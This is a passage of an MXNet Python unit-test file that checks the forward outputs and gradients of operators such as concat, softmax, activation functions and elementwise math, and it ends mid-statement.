check_elementwise_sum_with_shape(shape, n): # forward inputs = [mx.symbol.Variable('arg%d' % i) for i in range(n)] out = mx.symbol.ElementWiseSum(*inputs, name='esum') arr = [mx.nd.empty(shape) for i in range(n)] arr_grad = [mx.nd.empty(shape) for i in range(n)] for i in range(n): arr[i][:] = np.random.uniform(-10, 10, shape) exec1 = out.bind(default_context(), args=arr, args_grad=arr_grad) out1 = exec1.outputs[0].asnumpy() exec1.forward(is_train=True) out1 = exec1.outputs[0].asnumpy() out = sum(a.asnumpy() for a in arr) assert_almost_equal(out, out1) out_grad = mx.nd.empty(shape) out_grad[:] = np.random.uniform(-10, 10, shape) # backward exec1.backward([out_grad]) for a in arr_grad: assert_almost_equal(a.asnumpy(), out_grad.asnumpy()) @with_seed(0) def test_elementwise_sum(): nrepeat = 2 maxdim = 4 for repeat in range(nrepeat): for dim in range(1, maxdim): shape = tuple(np.random.randint(1, int(1000**(1.0/dim)), size=dim)) check_elementwise_sum_with_shape(shape, np.random.randint(1, 8)) def check_concat_with_shape(shapes, dimension, skip_second): # if skip_second is True, second argument will not have gradient. # it is to test #1130 n = len(shapes) # forward target_dim = 0 for shape in shapes: target_dim += shape[dimension] inputs = [mx.symbol.Variable('arg%d' % i) for i in range(n)] out = mx.symbol.Concat(*inputs, name='conc',dim=dimension) arr = [mx.nd.empty(shape) for shape in shapes] for i in range(n): arr[i][:] = shapes[i][dimension] arr_np = [np.copy(narray.asnumpy()) for narray in arr] arr_grad = [mx.nd.empty(shape) for shape in shapes] dict_grad = {} arg_names = out.list_arguments() for name, g in zip(arg_names, arr_grad): if not skip_second or name != 'arg1': dict_grad[name] = g args = out.list_arguments() arg_shapes, out_shapes, aux_shapes = out.infer_shape(**dict(zip(args, shapes))) out_grad = mx.nd.empty(out_shapes[0]) exec1 = out.bind(default_context(), args=arr, args_grad=dict_grad) exec1.forward(is_train=True) out1 = exec1.outputs[0] ret = np.concatenate([narray.asnumpy() for narray in arr], axis=dimension) assert_almost_equal(out1.asnumpy(), ret) # backward out1.copyto(out_grad) out_grad[:] += 1 exec1.backward([out_grad]) for i, name in enumerate(arg_names): if not skip_second or name != 'arg1': grad = dict_grad[name] np_grad = arr_np[i] assert_almost_equal(grad.asnumpy(), np_grad + 1) @with_seed() def test_concat(): for dimension in range(4): n = 2 merge = [2, 3, 4, 5, 6] a = 2 b = 3 c = 4 # test 2D if dimension<2: for dim in range(2, 6): shapes = [] for i in range(dim): if dimension == 0: shapes.append((merge[i], a)) elif dimension == 1: shapes.append((a, merge[i])) check_concat_with_shape(shapes,dimension,True) check_concat_with_shape(shapes,dimension,False) # Test negative dim check_concat_with_shape(shapes, dimension - 2, True) check_concat_with_shape(shapes, dimension - 2, False) #test 3D if dimension<3: for dim in range(2, 6): shapes = [] for i in range(dim): if dimension == 0: shapes.append((merge[i], a,b)) elif dimension ==1: shapes.append((a,merge[i],b)) elif dimension ==2: shapes.append((a,b,merge[i])) check_concat_with_shape(shapes,dimension,True) check_concat_with_shape(shapes,dimension,False) # Test negative dim check_concat_with_shape(shapes, dimension - 3, True) check_concat_with_shape(shapes, dimension - 3, False) # test 4D for dim in range(2, 6): shapes = [] for i in range(dim): if dimension == 0: shapes.append((merge[i],a,b,c)) elif dimension == 1: shapes.append((a,merge[i],b,c)) elif dimension ==2: shapes.append((a,b,merge[i],c)) elif dimension ==3: shapes.append((a,b,c,merge[i])) check_concat_with_shape(shapes,dimension,True) check_concat_with_shape(shapes,dimension,False) # Test negative dim check_concat_with_shape(shapes, dimension - 4, True) check_concat_with_shape(shapes, dimension - 4, False) @with_seed() def test_slice_channel(): def check_slice_channel(data_ndim, axis, num_outputs, squeeze_axis): ins = [] if squeeze_axis: shape = np.random.randint(2, 5, data_ndim).tolist() shape[axis] = num_outputs out_ele_shape = [ele for ele in shape] del out_ele_shape[axis] else: shape = np.random.randint(1, 5, data_ndim).tolist() shape[axis] *= num_outputs out_ele_shape = [ele for ele in shape] out_ele_shape[axis] //= num_outputs data_npy = np.random.normal(size=shape) out_grads_npy = [np.random.normal(size=out_ele_shape) for i in range(num_outputs)] data = mx.sym.Variable('data') sym = mx.sym.SliceChannel(data=data, num_outputs=num_outputs, axis=axis, squeeze_axis=squeeze_axis) exe = sym.simple_bind(ctx=default_context(), data=data_npy.shape) assert len(exe.outputs) == num_outputs outputs = exe.forward(is_train=True, data=data_npy) for i in range(num_outputs): gt = data_npy.take(np.arange(i * shape[axis]/num_outputs, (i+1) * shape[axis]/num_outputs).astype(np.int), axis=axis) if squeeze_axis: assert_almost_equal(outputs[i].asnumpy(), gt.reshape(outputs[i].shape)) else: assert_almost_equal(outputs[i].asnumpy(), gt) # test backward exe.backward(out_grads=[mx.nd.array(ele, ctx=default_context()) for ele in out_grads_npy]) if squeeze_axis: assert_almost_equal(exe.grad_arrays[0].asnumpy(), np.concatenate([np.expand_dims(ele, axis=axis) for ele in out_grads_npy], axis=axis)) else: assert_almost_equal(exe.grad_arrays[0].asnumpy(), np.concatenate(out_grads_npy, axis=axis)) check_slice_channel(data_ndim=2, axis=1, num_outputs=3, squeeze_axis=True) check_slice_channel(data_ndim=4, axis=2, num_outputs=3, squeeze_axis=False) check_slice_channel(data_ndim=3, axis=-1, num_outputs=2, squeeze_axis=False) check_slice_channel(data_ndim=5, axis=-2, num_outputs=3, squeeze_axis=True) @with_seed() def test_regression(): ''' test regression operator ''' def check_regression(symbol, forward, backward, shape, stype='default', densities=[0, 0.5, 1]): # init executor data = mx.symbol.Variable('data') label = mx.symbol.Variable('label', stype=stype) out = symbol(data, label) grad_req = {'data': 'write', 'label': 'null'} out_exec = out.simple_bind(default_context(), grad_req=grad_req, data=shape, label=shape) arg_map = dict(zip(out.list_arguments(), out_exec.arg_arrays)) grad_map = dict(zip(out.list_arguments(), out_exec.grad_arrays)) # init data arr_data = mx.random.uniform(-1, 1, shape) arg_map["data"][:] = arr_data # init label based on density arr_label = arg_map["label"] atol = 1e-5 for density in densities: arr_label[:] = rand_ndarray(shape, stype, density=density) out_exec.forward(is_train=True) out_exec.backward() np_out = forward(arr_data.asnumpy()) out_grad = backward(np_out, arr_label.asnumpy().reshape(np_out.shape)) / shape[1] assert_almost_equal(out_exec.outputs[0].asnumpy(), np_out, atol=atol) assert_almost_equal(grad_map["data"].asnumpy(), out_grad, atol=atol) shape = (50, 30) check_regression(mx.symbol.LogisticRegressionOutput, lambda x: 1.0 / (1.0 + np.exp(-x)), lambda x, y : x - y, shape) check_regression(mx.symbol.LinearRegressionOutput, lambda x: x, lambda x, y : x - y, shape) check_regression(mx.symbol.MAERegressionOutput, lambda x: x, lambda x, y : np.where(x > y, np.ones(x.shape), -np.ones(x.shape)), shape) check_regression(mx.symbol.LogisticRegressionOutput, lambda x: 1.0 / (1.0 + np.exp(-x)), lambda x, y : x - y, shape, stype='csr') check_regression(mx.symbol.LinearRegressionOutput, lambda x: x, lambda x, y : x - y, shape, stype='csr') def check_softmax_grad(xpu): x = mx.sym.Variable('x') label = mx.sym.Variable('label') x_nd = mx.nd.array([[1, 6, 4, 2]], ctx=xpu) grad_x = mx.nd.zeros((1,4), ctx=xpu) label_nd = mx.nd.array([1], ctx=xpu) sym = mx.sym.SoftmaxOutput(data=x, label=label, ignore_label=0, use_ignore=False) ex = sym.bind(ctx=xpu, args={'x': x_nd, 'label': label_nd}, args_grad={'x': grad_x}) ex.forward(is_train=True) softmax_out = ex.outputs[0].asnumpy() expected_softmax_out = [[0.005806628, 0.861780069, 0.116629249, 0.015784052]] assert np.isclose(softmax_out, expected_softmax_out).all() ex.backward(is_train=True) grad_out = ex.grad_arrays[0].asnumpy() k = int(label_nd[0].asscalar()) expected_grad_out = np.zeros((1,4)) expected_grad_out[0, k] = -1 assert np.isclose(grad_out - softmax_out, expected_grad_out).all() def check_smoothed_softmax_grad(xpu): alpha = 0.2 x = mx.sym.Variable('x') label = mx.sym.Variable('label') x_nd = mx.nd.array([[1, 6, 4, 2]], ctx=xpu) grad_x = mx.nd.zeros((1,4), ctx=xpu) label_nd = mx.nd.array([1], ctx=xpu) sym = mx.sym.SoftmaxOutput(data=x, label=label, ignore_label=0, use_ignore=False, smooth_alpha=alpha) ex = sym.bind(ctx=xpu, args={'x': x_nd, 'label': label_nd}, args_grad={'x': grad_x}) ex.forward(is_train=True) softmax_out = ex.outputs[0].asnumpy() expected_softmax_out = [[0.005806628, 0.861780069, 0.116629249, 0.015784052]] assert np.isclose(softmax_out, expected_softmax_out).all() ex.backward(is_train=True) grad_out = ex.grad_arrays[0].asnumpy() k = int(label_nd[0].asscalar()) expected_grad_out = np.full((1,4), fill_value=-alpha/float(4-1)) expected_grad_out[0, k] = - (1 - alpha) assert np.isclose(grad_out - softmax_out, expected_grad_out).all() def check_softmax_with_ignore_label(xpu): X = mx.symbol.Variable('X') L = mx.symbol.Variable('L') Y = mx.symbol.SoftmaxOutput(data=X, label=L, ignore_label=0, use_ignore=True) shape = (20, 10) x = mx.nd.empty(shape, ctx = xpu) l = mx.nd.empty((shape[0],), ctx = xpu) x_np = np.random.rand(*shape) l_np = np.random.randint(0, shape[1]-1, (shape[0],)) x[:] = x_np l[:] = l_np grad = mx.nd.empty(shape, ctx = xpu) exec1 = Y.bind(xpu, args = [x, l], args_grad = {'X': grad}) exec1.forward(is_train=True) exec1.backward() grad0 = grad.asnumpy() for i in range(int(shape[0]/2)): l_np[i] = 0 l[:] = l_np exec1.forward(is_train=True) exec1.backward() grad1 = grad.asnumpy() assert abs(np.sum(grad1[:int(shape[0]/2)])) < 1e-5 assert_almost_equal(grad0[int(shape[0]/2):], grad1[int(shape[0]/2):]) def check_softmax_with_shape(shape, xpu, preserve_shape=False): # bind with label X = mx.symbol.Variable('X') L = mx.symbol.Variable('L') Y = mx.symbol.SoftmaxOutput(data=X, label=L, preserve_shape=preserve_shape) x = mx.random.uniform(-1, 1, shape, ctx=xpu) l = mx.random.uniform(-1, 1, shape, ctx=xpu) l[:] = np_softmax(l.asnumpy()) grad = mx.nd.empty(shape, ctx = xpu) exec1 = Y.bind(xpu, args = [x, l], args_grad = {'X': grad}) exec1.forward(is_train=True) out = exec1.outputs[0].asnumpy() # Non-zero atol required by test_softmax with seed 781663739 rtol = 1e-4 atol = 1e-6 assert_almost_equal(out, np_softmax(x.asnumpy()), rtol=rtol, atol=atol) exec1.backward() assert_almost_equal(grad.asnumpy(), np_softmax(x.asnumpy()) - l.asnumpy(), rtol=rtol, atol=atol) def test_python_op(): X = mx.symbol.Variable('X') op = mx.operator.NumpyOp() s = op.get_symbol(X, name='numpy_op') x = mx.ndarray.ones((10))*10 dx = mx.ndarray.zeros((10)) dy = mx.ndarray.ones((10)) exec1 = s.bind(default_context(), args=[x], args_grad = {'X': dx}) exec1.forward(is_train=True) assert_almost_equal(x.asnumpy(), exec1.outputs[0].asnumpy()) exec1.backward(dy) assert_almost_equal(dy.asnumpy(), dx.asnumpy()) def test_swapaxes(): data = mx.symbol.Variable('data') shape = (2, 3, 4) data_tmp = np.ones(shape) data_tmp[0] = 1 data_tmp[1] = 2 arr_data = mx.nd.array(data_tmp) swap0 = mx.symbol.SwapAxis(data=data, dim1=0, dim2=2) swap = mx.symbol.SwapAxis(data=swap0, dim1=1, dim2=2) exe_c = swap.bind(default_context(), args=[arr_data]) exe_c.forward(is_train=True) out = exe_c.outputs[0].asnumpy() swap0_ = np.swapaxes(data_tmp, 0, 2) swap_ = np.swapaxes(swap0_, 1, 2) assert_almost_equal(out, swap_) @with_seed() def test_scalarop(): data = mx.symbol.Variable('data') shape = (3, 4) data_tmp = np.ones(shape)*5 arr_data = mx.nd.array(data_tmp) arr_grad = mx.nd.empty(shape) arr_grad[:]=3 test = 2 / (4-((1+data+1)*2/5)-0.8-(data!=0)) npout_1 = (4-((1+data_tmp+1)*2/5)-0.8-(data_tmp!=0)) npout = 2/npout_1 check_symbolic_forward(test, [data_tmp], [npout]) npout_grad = 2.*2/5 npout_grad = 2*npout_grad /(npout_1 *npout_1 ) check_symbolic_backward(test, [data_tmp], [np.ones(shape)*2], [npout_grad]) @with_seed() def test_scalar_pow(): data = mx.symbol.Variable('data') shape = (1, 1) data_tmp = np.ones(shape) test = data ** 2 check_numeric_gradient(test, [data_tmp]) check_symbolic_forward(test, [data_tmp], [data_tmp ** 2]) check_symbolic_backward(test, [data_tmp], [np.ones(shape)], [2 * data_tmp]) @with_seed() def test_symbol_pow(): shape = (1, 1) data = mx.symbol.Variable('data') data_tmp = np.ones(shape)*2 exp = mx.symbol.Variable('exp') exp_tmp = np.ones(shape)*3 test = data**exp check_numeric_gradient(test, [data_tmp, exp_tmp]) check_symbolic_forward(test, [data_tmp, exp_tmp], [data_tmp**exp_tmp]) data_dir = data_tmp**(exp_tmp - 1) * exp_tmp exp_dir = data_tmp**(exp_tmp) * np.log(data_tmp) check_symbolic_backward(test, [data_tmp, exp_tmp], [np.ones(shape)], [data_dir, exp_dir]) @with_seed() def test_pow_fn(): shape = (3, 4) exp = mx.symbol.Variable("exp") y = mx.sym.pow(2, exp) x = np.ones(shape)*3 check_numeric_gradient(y, [x], numeric_eps=1E-3) check_symbolic_forward(y, [x], [2**x]) check_symbolic_backward(y, [x], [np.ones(shape)], [np.log(2) * 2**x]) @with_seed() def test_relu(): def frelu(x): return np.maximum(x, 0.0) def frelu_grad(x): return 1.0 * (x > 0.0) shape = (3, 4) x = mx.symbol.Variable("x") y = mx.sym.relu(x) xa = np.random.uniform(low=-1.0,high=1.0,size=shape) eps = 1e-4 # Avoid finite difference method inaccuracies due to discontinuous gradient at the origin. # Here we replace small problematic inputs with 1.0. Repro issue with seed 97264195. xa[abs(xa) < eps] = 1.0 ya = frelu(xa) ga = frelu_grad(xa) check_numeric_gradient(y, [xa], numeric_eps=eps) check_symbolic_forward(y, [xa], [ya]) check_symbolic_backward(y, [xa], [np.ones(shape)], [ga]) # NOTE(haojin2): Skipping the numeric check tests for float16 data type due to precision issues, # the analytical checks are still performed on each and every data type to verify the correctness. @with_seed() def test_leaky_relu(): def fleaky_relu(x, act_type, slope=0.25): neg_indices = x < 0 out = x.copy() if act_type == 'elu': out[neg_indices] = slope * np.expm1(out[neg_indices]) elif act_type == 'leaky': out[neg_indices] = slope * out[neg_indices] return out def fleaky_relu_grad(grad, x, y, act_type, slope=0.25): neg_indices = x < 0 out = np.ones(x.shape) if act_type == 'elu': out[neg_indices] = y[neg_indices] + slope elif act_type == 'leaky': out[neg_indices] = slope return out * grad shape = (3, 4) x = mx.symbol.Variable("x") slp = 0.25 for dtype in [np.float16, np.float32, np.float64]: xa = np.random.uniform(low=-1.0,high=1.0,size=shape).astype(dtype) eps = 1e-4 rtol = 1e-2 atol = 1e-3 xa[abs(xa) < eps] = 1.0 for act_type in ['elu', 'leaky']: y = mx.symbol.LeakyReLU(data=x, slope=slp, act_type=act_type) ya = fleaky_relu(xa, slope=slp, act_type=act_type) ga = fleaky_relu_grad(np.ones(shape), xa, ya, slope=slp, act_type=act_type) # Skip numeric check for float16 type to get rid of flaky behavior if dtype is not np.float16: check_numeric_gradient(y, [xa], numeric_eps=eps, rtol=rtol, atol=atol, dtype=dtype) check_symbolic_forward(y, [xa], [ya], rtol=rtol, atol=atol, dtype=dtype) check_symbolic_backward(y, [xa], [np.ones(shape)], [ga], rtol=rtol, atol=atol, dtype=dtype) # NOTE(haojin2): Skipping the numeric check tests for float16 data type due to precision issues, # the analytical checks are still performed on each and every data type to verify the correctness. @with_seed() def test_prelu(): def fprelu(x, gamma): pos_indices = x > 0 out = x.copy() out = np.multiply(out, gamma) out[pos_indices] = x[pos_indices] return out def fprelu_grad(x, y, gamma): pos_indices = x > 0 grad_x = np.multiply(np.ones(x.shape), gamma) grad_gam = np.zeros(gamma.shape) copy_x = x.copy() copy_x[pos_indices] = 0.0 grad_x[pos_indices] = 1.0 if gamma.shape[0] == 1: grad_gam = np.sum(np.sum(copy_x)) elif gamma.shape[0] > 1: grad_gam = np.sum(copy_x, axis=0) return (grad_x, grad_gam) shape = (3,4) x = mx.symbol.Variable("x") gamma = mx.symbol.Variable("gamma") for dtype in [np.float16, np.float32, np.float64]: for gam in [np.array([0.1, 0.2, 0.3, 0.4], dtype=dtype)]: xa = np.random.uniform(low=-1.0,high=1.0,size=shape).astype(dtype) rtol = 1e-2 atol = 1e-3 eps = 1e-4 xa[abs(xa) < eps] = 1.0 y = mx.symbol.LeakyReLU(data=x, gamma=gamma, act_type='prelu') ya = fprelu(xa, gam) g_xa, g_gam = fprelu_grad(xa, ya, gamma=gam) # Skip numeric check for float16 type to get rid of flaky behavior if dtype is not np.float16: check_numeric_gradient(y, [xa, gam], numeric_eps=eps, rtol=rtol, atol=atol, dtype=dtype) check_symbolic_forward(y, [xa, gam], [ya], rtol=rtol, atol=atol, dtype=dtype) check_symbolic_backward(y, [xa, gam], [np.ones(shape), np.ones(gam.shape)], [g_xa, g_gam], rtol=rtol, atol=atol, dtype=dtype) @with_seed() def test_sigmoid(): def fsigmoid(a): return np.divide(1.0, (1.0 + np.exp(-a))) shape = (3, 4) x = mx.symbol.Variable("x") y = mx.sym.sigmoid(x) xa = np.random.uniform(low=-1.0,high=1.0,size=shape) ya = fsigmoid(xa) check_numeric_gradient(y, [xa], numeric_eps=1E-3) check_symbolic_forward(y, [xa], [ya]) check_symbolic_backward(y, [xa], [np.ones(shape)], [ya * (1 - ya)]) @with_seed() def test_softsign(): def fsoftsign(a): return np.divide(a, (1.0 + np.abs(a))) def fsoftsign_grad(a): return np.divide(1.0, np.square((1.0 + np.abs(a)))) shape = (3, 4) x = mx.symbol.Variable("x") y = mx.sym.softsign(x) xa = np.random.uniform(low=-1.0,high=1.0,size=shape) ya = fsoftsign(xa) ya_grad = fsoftsign_grad(xa) check_numeric_gradient(y, [xa], numeric_eps=1E-3) check_symbolic_forward(y, [xa], [ya]) check_symbolic_backward(y, [xa], [np.ones(shape)], [ya_grad]) @with_seed() def test_binary_logic(): def _inner_test(forward_gt, logic_sym, x_shape, y_shape, test_scalar=True): x = mx.symbol.Variable("x") y = mx.symbol.Variable("y") z = logic_sym(x, y) x_npy = np.random.randint(0, 4, size=x_shape).astype(np.float32) y_npy = np.random.randint(0, 4, size=y_shape).astype(np.float32) exe = z.simple_bind(ctx=default_context(), x=x_shape, y=y_shape) mx_out = exe.forward(is_train=True, x=x_npy, y=y_npy)[0].asnumpy() assert_almost_equal(mx_out, forward_gt(x_npy, y_npy)) exe.backward() if test_scalar: z_lscalar = logic_sym(1, y) z_rscalar = logic_sym(x, 1) exe_lscalar = z_lscalar.simple_bind(ctx=default_context(), y=y_shape) exe_rscalar = z_rscalar.simple_bind(ctx=default_context(), x=x_shape) mx_lscalar_out = exe_lscalar.forward(is_train=True, y=y_npy)[0].asnumpy() mx_rscalar_out = exe_rscalar.forward(is_train=True, x=x_npy)[0].asnumpy() assert_almost_equal(mx_lscalar_out, forward_gt(1, y_npy)) assert_almost_equal(mx_rscalar_out, forward_gt(x_npy, 1)) exe_lscalar.backward() exe_rscalar.backward() # Test the no-broadcasting binary logic ops + scalar logic ops _inner_test(forward_gt=lambda x, y: x == y, logic_sym=lambda x, y: x == y, x_shape=(10, 10), y_shape=(10, 10)) _inner_test(forward_gt=lambda x, y: x > y, logic_sym=lambda x, y: x > y, x_shape=(10, 10), y_shape=(10, 10)) _inner_test(forward_gt=lambda x, y: x >= y, logic_sym=lambda x, y: x >= y, x_shape=(10, 10), y_shape=(10, 10)) _inner_test(forward_gt=lambda x, y: x < y, logic_sym=lambda x, y: x < y, x_shape=(10, 10), y_shape=(10, 10)) _inner_test(forward_gt=lambda x, y: x <= y, logic_sym=lambda x, y: x <= y, x_shape=(10, 10), y_shape=(10, 10)) _inner_test(forward_gt=lambda x, y: x != y, logic_sym=lambda x, y: x != y, x_shape=(10, 10), y_shape=(10, 10)) # Test the broadcasting binary logic ops _inner_test(forward_gt=lambda x, y: x == y, logic_sym=lambda x, y: mx.sym.broadcast_equal(x, y), x_shape=(1, 10), y_shape=(10, 1), test_scalar=False) _inner_test(forward_gt=lambda x, y: x > y, logic_sym=lambda x, y: mx.sym.broadcast_greater(x, y), x_shape=(1, 10), y_shape=(10, 1), test_scalar=False) _inner_test(forward_gt=lambda x, y: x >= y, logic_sym=lambda x, y: mx.sym.broadcast_greater_equal(x, y), x_shape=(1, 10), y_shape=(10, 1), test_scalar=False) _inner_test(forward_gt=lambda x, y: x < y, logic_sym=lambda x, y: mx.sym.broadcast_lesser(x, y), x_shape=(1, 10), y_shape=(10, 1), test_scalar=False) _inner_test(forward_gt=lambda x, y: x <= y, logic_sym=lambda x, y: mx.sym.broadcast_lesser_equal(x, y), x_shape=(1, 10), y_shape=(10, 1), test_scalar=False) _inner_test(forward_gt=lambda x, y: x != y, logic_sym=lambda x, y: mx.sym.broadcast_not_equal(x, y), x_shape=(1, 10), y_shape=(10, 1), test_scalar=False) @with_seed() def test_embedding(): in_dim = 10 out_dim = 4 batch = 24 data = mx.sym.Variable("data") embed = mx.sym.Embedding(data=data, input_dim=in_dim, output_dim=out_dim, name="embed") exe_test = embed.simple_bind(default_context(), grad_req={'data': 'null', 'embed_weight': 'write'}, data=(batch,)) arg_map = dict(zip(embed.list_arguments(), exe_test.arg_arrays)) grad_map = dict(zip(embed.list_arguments(), exe_test.grad_arrays)) np_data = np.random.randint(low=0, high=in_dim, size=batch) np_weight = np.random.uniform(-0.01, 0.01, arg_map["embed_weight"].shape) np_onehot = np.zeros((batch, in_dim)) np_onehot[np.arange(batch), np_data] = 1.0 # forward arg_map["data"][:] = np_data arg_map["embed_weight"][:] = np_weight exe_test.forward(is_train=True) # Non-zero atol required, as exposed by seed 781663739 rtol = 1e-5 atol = 1e-5 assert_almost_equal(exe_test.outputs[0].asnumpy(), np.dot(np_onehot, np_weight), rtol=rtol, atol=atol) # backward np_grad = np.random.uniform(-1, 1, exe_test.outputs[0].shape) grad = mx.nd.zeros(np_grad.shape) grad[:] = np_grad exe_test.backward([grad]) assert_almost_equal(grad_map["embed_weight"].asnumpy(), np.dot(np_onehot.T, np_grad), rtol=rtol, atol=atol) # check ops handle duplicate input correctly. @with_seed() def test_binary_op_duplicate_input(): data = mx.symbol.Variable('data') shape = (3, 4) data_tmp = np.ones(shape) data_tmp[:] = 5 arr_data = mx.nd.array(data_tmp) arr_grad = mx.nd.empty(shape) arr_grad[:] = 3 out_grad = mx.nd.empty(shape) out_grad[:] = 1 square = data * data exe_square = square.bind(default_context(), args=[arr_data], args_grad=[arr_grad]) exe_square.forward(is_train=True) assert_almost_equal(exe_square.outputs[0].asnumpy(), data_tmp * data_tmp) exe_square.backward(out_grad) assert_almost_equal(arr_grad.asnumpy(), 2.0 * data_tmp) @with_seed() def test_sign(): data = mx.symbol.Variable('data') shape = (3, 4) data_tmp = np.ones(shape) data_tmp[:]=5 arr_data = mx.nd.array(data_tmp) arr_grad = mx.nd.empty(shape) arr_grad[:]=3 test = mx.sym.sign(data) exe_test = test.bind(default_context(), args=[arr_data], args_grad=[arr_grad]) exe_test.forward(is_train=True) out = exe_test.outputs[0].asnumpy() npout = np.sign(data_tmp) assert_almost_equal(out, npout) out_grad = mx.nd.empty(shape) out_grad[:] = 2; npout_grad = out_grad.asnumpy() npout_grad = 0; exe_test.backward(out_grad) assert_almost_equal(arr_grad.asnumpy(), npout_grad) @with_seed() def test_round_ceil_floor(): data = mx.symbol.Variable('data') shape = (3, 4) data_tmp = np.ones(shape) data_tmp[:]=5.543 arr_data = mx.nd.array(data_tmp) arr_grad = mx.nd.empty(shape) arr_grad[:]= 2 test = mx.sym.round(data) + mx.sym.ceil(data) + mx.sym.floor(data) exe_test = test.bind(default_context(), args=[arr_data]) exe_test.forward(is_train=True) out = exe_test.outputs[0].asnumpy() npout = np.round(data_tmp) + np.ceil(data_tmp) + np.floor(data_tmp) assert_almost_equal(out, npout) @with_seed() def test_trunc(): data_tmp = np.random.rand(3, 4) * 10 - 5 arr_data = mx.nd.array(data_tmp) data = mx.symbol.Variable('data') test = mx.sym.trunc(data) exe_test = test.bind(default_context(), args=[arr_data]) exe_test.forward(is_train=True) out = exe_test.outputs[0].asnumpy() # 'trunc' is sensitive to the precision of the calculation. Force numpy to match mxnet's float32. # Repro issue with seed 1660190454 npout = np.trunc(np.float32(data_tmp)) assert_almost_equal(out, npout) @with_seed() def test_rsqrt_cos_sin(): data = mx.symbol.Variable('data') shape = (3, 4) data_tmp = np.ones(shape) data_tmp[:]=5 arr_data = mx.nd.array(data_tmp) arr_grad = mx.nd.empty(shape) arr_grad[:]=3 test = mx.sym.rsqrt(data) + mx.sym.cos(data) + mx.sym.sin(data) exe_test = test.bind(default_context(), args=[arr_data], args_grad=[arr_grad]) exe_test.forward(is_train=True) out = exe_test.outputs[0].asnumpy() npout = 1/ np.sqrt(data_tmp) + np.cos(data_tmp) + np.sin(data_tmp) assert_almost_equal(out, npout) out_grad = mx.nd.empty(shape) out_grad[:] = 2; npout_grad = out_grad.asnumpy() npout_grad = npout_grad * -(1.0 / (2.0 * data_tmp * np.sqrt(data_tmp))) + npout_grad * -1 * np.sin(data_tmp) + npout_grad * np.cos(data_tmp) exe_test.backward(out_grad) assert_almost_equal(arr_grad.asnumpy(), npout_grad) @with_seed() def test_maximum_minimum(): data1 = mx.symbol.Variable('data') data2 = mx.symbol.Variable('data') shape = (3, 4) data_tmp1 = np.random.rand(3,4) data_tmp2 = np.random.rand(3,4) data_tmp1[:] = 2 data_tmp2[:] = 3 arr_data1 = mx.nd.array(data_tmp1) arr_data2 = mx.nd.array(data_tmp2) arr_grad1 = mx.nd.empty(shape) arr_grad2 = mx.nd.empty(shape) test = mx.sym.maximum(data1,data2) + mx.sym.minimum(data1,data2); exe_test = test.bind(default_context(), args=[arr_data1,arr_data2], args_grad=[arr_grad1,arr_grad2]) exe_test.forward(is_train=True) out = exe_test.outputs[0].asnumpy() npout = np.maximum(data_tmp1,data_tmp2) + np.minimum(data_tmp1,data_tmp2) assert_almost_equal(out, npout) out_grad = mx.nd.empty(shape) out_grad[:] = 2 exe_test.backward(out_grad) npout_grad = np.ones(shape) npout_grad[:] = 2 mask1 = (data_tmp1 > data_tmp2).astype('float') mask2 = (data_tmp1 < data_tmp2).astype('float') npout_grad1 = npout_grad * mask1 + npout_grad * mask2 npout_grad2 = (npout_grad - npout_grad * mask1) + (npout_grad - npout_grad * mask2) assert_almost_equal(arr_grad1.asnumpy(), npout_grad1) assert_almost_equal(arr_grad2.asnumpy(), npout_grad2) @with_seed() def test_maximum_minimum_scalar(): data1 = mx.symbol.Variable('data') shape = (3, 4) data_tmp1 = np.random.rand(3,4) data_tmp1[:] = 2 arr_data1 = mx.nd.array(data_tmp1) arr_grad1 = mx.nd.empty(shape) test = mx.sym.maximum(data1,3) + mx.sym.maximum(9,data1) + mx.sym.minimum(5,data1) + mx.sym.minimum(data1,4) exe_test = test.bind(default_context(), args=[arr_data1], args_grad=[arr_grad1]) exe_test.forward(is_train=True) out = exe_test.outputs[0].asnumpy() npout = np.maximum(data_tmp1,3) + np.maximum(9,data_tmp1) + np.minimum(5,data_tmp1) + np.minimum(data_tmp1,4) assert_almost_equal(out, npout) out_grad = mx.nd.empty(shape) out_grad[:] = 2 exe_test.backward(out_grad) npout_grad = np.ones(shape) npout_grad[:] = 2 mask1 = (data_tmp1 > 3).astype('float') mask2 = (9 > data_tmp1).astype('float') mask3 = (5 < data_tmp1).astype('float') mask4 = (data_tmp1 < 4).astype('float') npout_grad1 = npout_grad * mask1 + (npout_grad - npout_grad * mask2) + (npout_grad - npout_grad * mask3) + npout_grad * mask4 assert_almost_equal(arr_grad1.asnumpy(), npout_grad1) @with_seed() def test_abs(): data = mx.symbol.Variable('data') shape = (3, 4) data_tmp = np.ones(shape) data_tmp[:]=5 arr_data = mx.nd.array(data_tmp) arr_grad = mx.nd.empty(shape) arr_grad[:]=3 test = mx.sym.abs(data) exe_test = test.bind(default_context(), args=[arr_data], args_grad=[arr_grad]) exe_test.forward(is_train=True) out = exe_test.outputs[0].asnumpy() npout = abs(data_tmp) assert_almost_equal(out, npout) out_grad = mx.nd.empty(shape) out_grad[:] = 2; npout_grad = out_grad.asnumpy() npout_grad = npout_grad * np.sign(data_tmp) exe_test.backward(out_grad) assert_almost_equal(arr_grad.asnumpy(), npout_grad) def check_deconvolution_forward_backward(input_shape, num_filter, kernel, stride, pad): """configure A: input --> conv --> deconv --> output. the convolution and deconvoluiton has similar parameter which ensure the input shape is the same as output, and the same weights between conv and deconv; If the input value of forward() and backwrad() is the same, then the output value of them should also the same; """ assert input_shape[1] == num_filter data = mx.sym.Variable(name="data") conv = mx.sym.Convolution( data=data, kernel=kernel, stride=stride, pad=pad, num_filter=num_filter, no_bias = "true", name = "conv") deconv = mx.sym.Deconvolution( data=conv, kernel=kernel, stride=stride, pad=pad, num_filter=num_filter, no_bias = "true", name = "deconv") arg_names = deconv.list_arguments() arg_shapes, out_shapes, _ = deconv.infer_shape(data=input_shape) input_data = mx.random.uniform(-5, 5, input_shape, ctx=mx.cpu()).copyto(default_context()) out_grad = input_data args = {} args["data"] = input_data args['conv_weight'] = args['deconv_weight'] = mx.random.normal(0, 1, (num_filter, input_shape[1]) + kernel, ctx=mx.cpu()).copyto(default_context()) args_grad = [mx.nd.empty(s) for s in arg_shapes] exe = deconv.bind(default_context(), args=args, args_grad=args_grad) exe.forward(is_train=True) out = exe.outputs[0].asnumpy() exe.backward(out_grad) assert_almost_equal(out, args_grad[0].asnumpy(), rtol=1E-3, atol=1e-3) args_grad_addto_npy = [np.random.normal(size=s) for s in arg_shapes] args_grad_addto = [mx.nd.array(ele) for ele in args_grad_addto_npy] exe = deconv.bind(default_context(), args=args, args_grad=args_grad_addto, grad_req="add") exe.forward(is_train=True) out = 